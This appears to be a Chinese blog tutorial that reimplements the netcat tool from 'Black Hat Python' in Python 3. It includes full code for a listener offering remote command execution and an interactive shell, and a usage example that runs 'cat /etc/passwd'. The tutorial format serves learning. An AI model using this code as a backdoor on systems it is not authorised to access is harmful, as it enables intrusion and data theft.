前言
netcat是个计算机网络公用程序,用来对网络连线TCP或者UDP进行读写。 netcat 在2001年insecure.org对nmap用户邮件列表举办的投票被推选为第二有用的网络保全工具。2003年投票结果是第四名;2006年的投票继续稳占同样第四名宝座。
在《Python黑帽子》这本书中是这样介绍的:他说聪明的系统管理员都会将他从系统中移除。但是却安装了python
在书中他是采用Python2来编写的,我这里用Python3编写,并且做出一些解释。
编写netcat
在创建主函数之前我们先做一些准备
#导入一些库
import sys
import socket
import getopt
import threading
import subprocess
# 定义全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
# 编写使用帮助
def usage():
print("MY NET TOOL")
print("")
print("Usage: netcat.py -t target_host -p port")
print("-l --listen - listen on [host]:[port] for")
print(" incoming connections")
print("-e --execute=file_to_run - execute the given file upon")
print(" receiving a connection")
print("-c --command - initialize a command shell")
print("-u --upload=destination - upon receiving connection upload a")
print(" file and write to [destination]")
print("")
print("")
print("Examples:")
print("netcat.py -t 192.168.0.1 -p 5555 -l -c")
print("netcat.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe")
print("netcat.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"")
print("echo 'ABCDEFGHI' | ./netcat.py -t 192.168.11.12 -p 135")
sys.exit(0)
上面导入库、定义全局变量和使用帮助,还需要根据socket创建两个函数server_loop()和client_sender()
了解socket的调用流程
由于编写中只涉及到TCP C/S模式,所以下面只针对这种。
套接字调用流程:
通过上面的流程图相信你可以很好的了解socket的调用流程,在此基础上进行编写server端
def server_loop():
global target
# 如果没有定义目标,监听所有接口
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 1
server.bind((target, port)) # 2
server.listen(5) # 3
while True:
client_socket, addr = server.accept() # 4
# 分拆一个线程处理新的客户端
client_thread = threading.Thread(target=client_handler, args=(client_socket,)) # 5
client_thread.start()
在上面的1~4都是对应流程图中Server直到5中调用了client中的发送和接收。下面看一下client端
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# 连接到目标主机
client.connect((target, port))
if len(buffer):
client.send(buffer.encode())
while True:
# 等待数据回传
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096).decode()
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response)
# 等待更多的输入
buffer = input("")
buffer += "\n"
# 发送出去
client.send(buffer.encode())
except:
print("[*] Exception! Exiting.")
# 关闭连接
client.close()
客户端的编写也是根据流程图就可以了,要注意的是Python3中发送和接收数据需要进行编码和解码。
实现文件上传、命令执行、shell相关功能
# 命令执行
def run_command(command):
# 换行
command = command.rstrip()
# 运行命令并将输入返回
try:
output = subprocess.getoutput(command)
except:
output = "Failed to execute command.\r\n"
# 将输出发送
return output
在output中用subprocess.getoutput()函数来获取我们输入的命令
# 实现文件上传、命令执行、shell相关功能
def client_handler(client_socket):
global upload
global execute
global command
# 1 检测上传文件
if len(upload_destination):
# 读取所有的字符并且写下目标
file_buffer = ""
# 持续读取直至没有符合数据
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# 2 现在我们接收这些数据并将他们写出来
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
# 确定文件已经写出来
client_socket.send("Sucessfully saved file to {}\r\n".format(upload_destination).encode())
except:
client_socket.send("Failed to save file to {}\r\n".format(upload_destination).encode())
# 3 检查命令执行
if len(execute):
# 运行命令
output = run_command(execute)
client_socket.send(output.encode())
# 如果需要一个命令行shell,进入另外一个循环
if command:
while True:
# 跳出一个窗口
client_socket.send("<NETCAT:#>".encode())
# 接收文件知道发现换行符
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024).decode()
# 返还命令输出
response = run_command(cmd_buffer)
# 返回响应数据
client_socket.send(response.encode())
说明:
1、主要负责连接之后来接收文件的,这样我们就可以通过该工具进行上传和执行测试脚本了
2、接收文件数据,web标识确保我们以二进制格式写入,并且保证数据完全接收
3、直接调用run_command函数执行文件
4、持续处理你输入的命令
最后到了编写主函数的时候
def main():
# 定义一些全局变量
global listen, opts
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# 读取命令行选项
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
["help", "listen", "execute", "target", "port",
"command", "upload"])
except getopt.GetoptError as err:
print(str(err))
usage()
for o, a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
elif o in ("-c", "--command"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
else:
assert False, "Unhandled Option"
# 判断我们是监听还是仅从标准输入发送数据(这里相当于:client端)
if not listen and len(target) and port > 0:
# 从命令行读取内存数据
# 这里将阻塞
buffer = sys.stdin.read()
# 发送数据
client_sender(buffer)
# 我们开始监听并准备上传文件、执行命令
# 放置一个反弹shell
# 取决于上面的命令行选项(这里相当于:server端)
if listen:
server_loop()
if __name__ == '__main__':
main()
在定义一些全局变量之后,直接判断是否输入参数,如果没有则返回帮助
这里sys.argv[1:]表示的第一个参数之后
#例如:Python3 netcat.py -t target_host -p port
那么sys.argv[1:]检测的是netcat.py 之后有没有参数(-t、-p)
读取命令行选项
getopt.getopt(args, options[, long_options]
# option 有":"表示后面必须附加参数
# 如 hlc都可以不需要附加参数,其他则需要附加
之后就是判断有没有参数和调用之前的函数来执行了
运行效果:
Windows中使用CTRL-Z、Linux则使用CTRL-D
参考:《Python黑帽子》
声明:
- 笔者初衷用于分享与交流网络知识,若读者因此作出任何危害网络安全行为后果自负,与作者无关!